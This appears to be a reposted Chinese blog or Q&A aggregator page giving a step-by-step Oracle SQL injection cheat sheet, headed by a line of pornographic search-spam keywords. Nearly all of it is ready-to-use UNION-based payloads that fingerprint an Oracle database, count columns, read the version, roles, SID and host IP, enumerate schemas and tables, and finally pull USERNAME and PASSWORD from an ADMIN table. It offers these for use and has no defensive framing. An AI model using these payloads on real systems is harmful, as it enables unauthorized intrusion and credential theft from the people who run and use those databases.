日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

oracle可以注入吗,ORACLE 注入

發布時間:2025/3/11 编程问答 14 豆豆
生活随笔 收集整理的這篇文章主要介紹了 oracle可以注入吗,ORACLE 注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1判斷是什么數據庫

and exist(select * from dual)

and exists(select * from user_tables)

原理:dual表和user_tables表是oracle中的系統表返回正常,那么就可以肯定這是oracle。

2查字段數

order by 10--? //錯誤,列數小于10

order by 3--??? //正常,列數等于或大于3

3判斷字段類型

.jsp?id=1 union select NULL,NULL,NULL from dual--? /*正常說明有3個字段*/

and 1=2 union select NULL,NULL,'string' from dual--? ? //正常,第三個字段是字符型

下面替換“string”,記得帶括號

數據庫與版本 (SELECT banner FROM sys.v_$version WHERE ROWNUM=1)

當前用戶權限?(SELECT?*?FROM?session_roles WHERE?ROWNUM=1)

數據庫名?(Select?name?From?v$database)

當前庫所有表?(Select?table_name?From?all_tables)

服務器系統?? (select member from v$logfile where rownum=1)

服務器監聽IP (select utl_inaddr.get_host_address from dual)

數據庫SID?? (select instance_name from v$instance)

4獲取所有數據庫名

id=1 and 1=2 union select NULL,(select global_name from global_name),NULL from dual--

id=1 and 1=2 union select NULL,(select sys.database_name from dual),NULL from dual--

id=1 and 1=2 union select NULL,(select name from v$database),NULL from dual--

第一個庫名

id=1 and 1=2 union select NULL,(select owner from all_tables where rownum=1),NULL from dual--

第二個庫名

id=1 and 1=2 union select NULL,(select owner from all_tables where owner<>'SYS' and rownum=1),NULL from dual--

第三個庫名

id=1 and 1=2 union select NULL,(select owner from all_tables where owner<>'SYS' and owner<>'SYSTEM' and rownum=1),NULL from dual--

查到的第一個是SYS,那么查第二個的時候就把SYS排除,比如第二個查出的是SYSTEM,那么第三個就排除前兩個

當前表名

id=1 and 1=2 union select NULL,(select table_name from user_tables where rownum=1),NULL from dual--

剩下的表名

id=1 and 1=2 union select NULL,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),NULL from dual--

使用<>'表名'不斷添加要排除的表名查詢,表名區分大小寫。

5查詢字段內容

id=1 and 1=2 union select NULL,USERNAME,PASSWORD from ADMIN—

總結

以上是生活随笔為你收集整理的oracle可以注入吗,ORACLE 注入的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。